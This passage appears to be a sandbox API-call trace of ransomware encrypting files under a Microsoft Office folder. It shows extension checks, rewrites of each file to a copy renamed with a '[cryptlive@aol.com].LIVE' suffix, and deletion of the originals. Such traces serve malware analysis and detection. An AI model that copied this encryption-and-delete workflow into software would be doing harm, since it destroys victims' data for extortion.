(lpString1=".ppt", lpString2=".dll") returned 1 [0144.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0144.005] lstrlenW (lpString=".zip") returned 4 [0144.005] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0144.005] lstrlenW (lpString=".rar") returned 4 [0144.005] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0144.005] lstrlenW (lpString=".bz2") returned 4 [0144.005] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0144.005] lstrlenW (lpString=".7z") returned 3 [0144.005] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0144.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0144.005] lstrlenW (lpString=".dbf") returned 4 [0144.005] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0144.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0144.005] lstrlenW (lpString=".1cd") returned 4 [0144.005] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0144.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0144.005] lstrlenW (lpString=".jpg") returned 4 [0144.005] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0144.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0144.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0144.005] lstrlenW (lpString=".doc") returned 4 [0144.006] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0144.006] lstrlenW (lpString=".docx") returned 5 [0144.006] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0144.006] lstrlenW (lpString=".pdf") returned 4 [0144.006] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0144.006] lstrlenW (lpString=".xls") returned 4 [0144.006] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0144.006] lstrlenW (lpString=".xlsx") returned 5 [0144.006] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0144.006] lstrlenW (lpString=".ppt") returned 4 [0144.006] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0144.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0144.006] lstrlenW (lpString=".zip") returned 4 [0144.006] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0144.006] lstrlenW (lpString=".rar") returned 4 [0144.006] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0144.006] lstrlenW (lpString=".bz2") returned 4 [0144.006] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0144.006] lstrlenW (lpString=".7z") returned 3 [0144.006] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0144.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0144.006] lstrlenW (lpString=".dbf") returned 4 [0144.006] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0144.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0144.006] lstrlenW (lpString=".1cd") returned 4 [0144.006] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0144.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OneNoteSyncPCIntl.dll") returned 69 [0144.006] lstrlenW (lpString=".jpg") returned 4 [0144.006] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0144.006] lstrcmpiW (lpString1=".HXC", lpString2=".LIVE") returned -1 [0144.007] lstrlenW (lpString="ONENOTE_COL.HXC") returned 15 [0144.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0144.007] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=631) returned 1 [0144.007] CloseHandle (hObject=0x388) returned 1 [0144.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc")) returned 0x20 [0144.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0144.008] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.008] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0144.008] GetLastError () returned 0x0 [0144.008] ReadFile (in: hFile=0x388, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x277, lpOverlapped=0x0) returned 1 [0144.021] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x280, lpOverlapped=0x0) returned 1 [0144.022] ReadFile (in: hFile=0x388, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.022] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0144.022] SetEndOfFile (hFile=0x3a8) returned 1 [0144.022] CloseHandle (hObject=0x3a8) returned 1 [0144.022] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.022] SetEndOfFile (hFile=0x388) returned 1 [0144.024] CloseHandle (hObject=0x388) returned 1 [0144.024] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxc")) returned 1 [0144.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0144.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0144.096] lstrlenW (lpString=".doc") returned 4 [0144.096] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0144.096] lstrlenW (lpString=".docx") returned 5 [0144.096] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0144.096] lstrlenW (lpString=".pdf") returned 4 [0144.096] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0144.096] lstrlenW (lpString=".xls") returned 4 [0144.096] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0144.096] lstrlenW (lpString=".xlsx") returned 5 [0144.096] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0144.096] lstrlenW (lpString=".ppt") returned 4 [0144.096] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0144.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0144.096] lstrlenW (lpString=".zip") returned 4 [0144.096] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0144.096] lstrlenW (lpString=".rar") returned 4 [0144.096] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0144.096] lstrlenW (lpString=".bz2") returned 4 [0144.096] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0144.096] lstrlenW (lpString=".7z") returned 3 [0144.096] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0144.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0144.096] lstrlenW (lpString=".dbf") returned 4 [0144.096] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0144.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0144.096] lstrlenW (lpString=".1cd") returned 4 [0144.096] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0144.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0144.096] lstrlenW (lpString=".jpg") returned 4 [0144.096] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0144.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0144.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0144.097] lstrlenW (lpString=".doc") returned 4 [0144.097] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0144.097] lstrlenW (lpString=".docx") returned 5 [0144.097] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0144.097] lstrlenW (lpString=".pdf") returned 4 [0144.097] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0144.097] lstrlenW (lpString=".xls") returned 4 [0144.097] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0144.097] lstrlenW (lpString=".xlsx") returned 5 [0144.097] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0144.097] lstrlenW (lpString=".ppt") returned 4 [0144.097] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0144.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0144.097] lstrlenW (lpString=".zip") returned 4 [0144.097] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0144.097] lstrlenW (lpString=".rar") returned 4 [0144.097] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0144.097] lstrlenW (lpString=".bz2") returned 4 [0144.097] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0144.097] lstrlenW (lpString=".7z") returned 3 [0144.097] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0144.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0144.097] lstrlenW (lpString=".dbf") returned 4 [0144.097] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0144.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0144.097] lstrlenW (lpString=".1cd") returned 4 [0144.097] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0144.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXC") returned 63 [0144.097] lstrlenW (lpString=".jpg") returned 4 [0144.097] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0144.097] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0144.097] lstrlenW (lpString="ONENOTE_F_COL.HXK") returned 17 [0144.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0144.098] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=114) returned 1 [0144.098] CloseHandle (hObject=0x384) returned 1 [0144.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk")) returned 0x20 [0144.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0144.099] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.099] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0144.099] GetLastError () returned 0x0 [0144.099] ReadFile (in: hFile=0x384, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x72, lpOverlapped=0x0) returned 1 [0144.100] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x80, lpOverlapped=0x0) returned 1 [0144.101] ReadFile (in: hFile=0x384, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.101] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0144.101] SetEndOfFile (hFile=0x1ec) returned 1 [0144.101] CloseHandle (hObject=0x1ec) returned 1 [0144.101] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.101] SetEndOfFile (hFile=0x384) returned 1 [0144.106] CloseHandle (hObject=0x384) returned 1 [0144.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.106] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_f_col.hxk")) returned 1 [0144.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0144.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0144.107] lstrlenW (lpString=".doc") returned 4 [0144.107] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0144.107] lstrlenW (lpString=".docx") returned 5 [0144.107] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0144.107] lstrlenW (lpString=".pdf") returned 4 [0144.107] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0144.107] lstrlenW (lpString=".xls") returned 4 [0144.107] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0144.107] lstrlenW (lpString=".xlsx") returned 5 [0144.107] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0144.107] lstrlenW (lpString=".ppt") returned 4 [0144.107] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0144.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0144.107] lstrlenW (lpString=".zip") returned 4 [0144.107] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0144.107] lstrlenW (lpString=".rar") returned 4 [0144.107] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0144.452] lstrlenW (lpString=".bz2") returned 4 [0144.452] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0144.452] lstrlenW (lpString=".7z") returned 3 [0144.452] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0144.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0144.452] lstrlenW (lpString=".dbf") returned 4 [0144.452] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0144.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0144.452] lstrlenW (lpString=".1cd") returned 4 [0144.452] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0144.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0144.452] lstrlenW (lpString=".jpg") returned 4 [0144.452] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0144.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0144.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0144.452] lstrlenW (lpString=".doc") returned 4 [0144.452] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0144.453] lstrlenW (lpString=".docx") returned 5 [0144.453] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0144.453] lstrlenW (lpString=".pdf") returned 4 [0144.453] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0144.453] lstrlenW (lpString=".xls") returned 4 [0144.453] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0144.453] lstrlenW (lpString=".xlsx") returned 5 [0144.453] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0144.453] lstrlenW (lpString=".ppt") returned 4 [0144.453] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0144.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0144.453] lstrlenW (lpString=".zip") returned 4 [0144.453] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0144.453] lstrlenW (lpString=".rar") returned 4 [0144.453] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0144.453] lstrlenW (lpString=".bz2") returned 4 [0144.453] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0144.453] lstrlenW (lpString=".7z") returned 3 [0144.453] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0144.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0144.453] lstrlenW (lpString=".dbf") returned 4 [0144.453] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0144.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0144.453] lstrlenW (lpString=".1cd") returned 4 [0144.453] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0144.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_F_COL.HXK") returned 65 [0144.453] lstrlenW (lpString=".jpg") returned 4 [0144.453] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0144.453] lstrcmpiW (lpString1=".HXT", lpString2=".LIVE") returned -1 [0144.453] lstrlenW (lpString="OUTLOOK.DEV_COL.HXT") returned 19 [0144.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0144.454] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=211) returned 1 [0144.454] CloseHandle (hObject=0x384) returned 1 [0144.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt")) returned 0x20 [0144.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0144.455] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.455] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0144.455] GetLastError () returned 0x0 [0144.455] ReadFile (in: hFile=0x384, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0xd3, lpOverlapped=0x0) returned 1 [0144.456] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0144.457] ReadFile (in: hFile=0x384, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.457] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0144.457] SetEndOfFile (hFile=0x1ec) returned 1 [0144.457] CloseHandle (hObject=0x1ec) returned 1 [0144.457] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.458] SetEndOfFile (hFile=0x384) returned 1 [0144.460] CloseHandle (hObject=0x384) returned 1 [0144.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.460] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt")) returned 1 [0144.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0144.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0144.461] lstrlenW (lpString=".doc") returned 4 [0144.461] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0144.461] lstrlenW (lpString=".docx") returned 5 [0144.461] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0144.461] lstrlenW (lpString=".pdf") returned 4 [0144.461] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0144.461] lstrlenW (lpString=".xls") returned 4 [0144.461] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0144.461] lstrlenW (lpString=".xlsx") returned 5 [0144.461] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0144.461] lstrlenW (lpString=".ppt") returned 4 [0144.461] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0144.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0144.461] lstrlenW (lpString=".zip") returned 4 [0144.461] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0144.461] lstrlenW (lpString=".rar") returned 4 [0144.461] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0144.461] lstrlenW (lpString=".bz2") returned 4 [0144.461] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0144.461] lstrlenW (lpString=".7z") returned 3 [0144.461] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0144.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 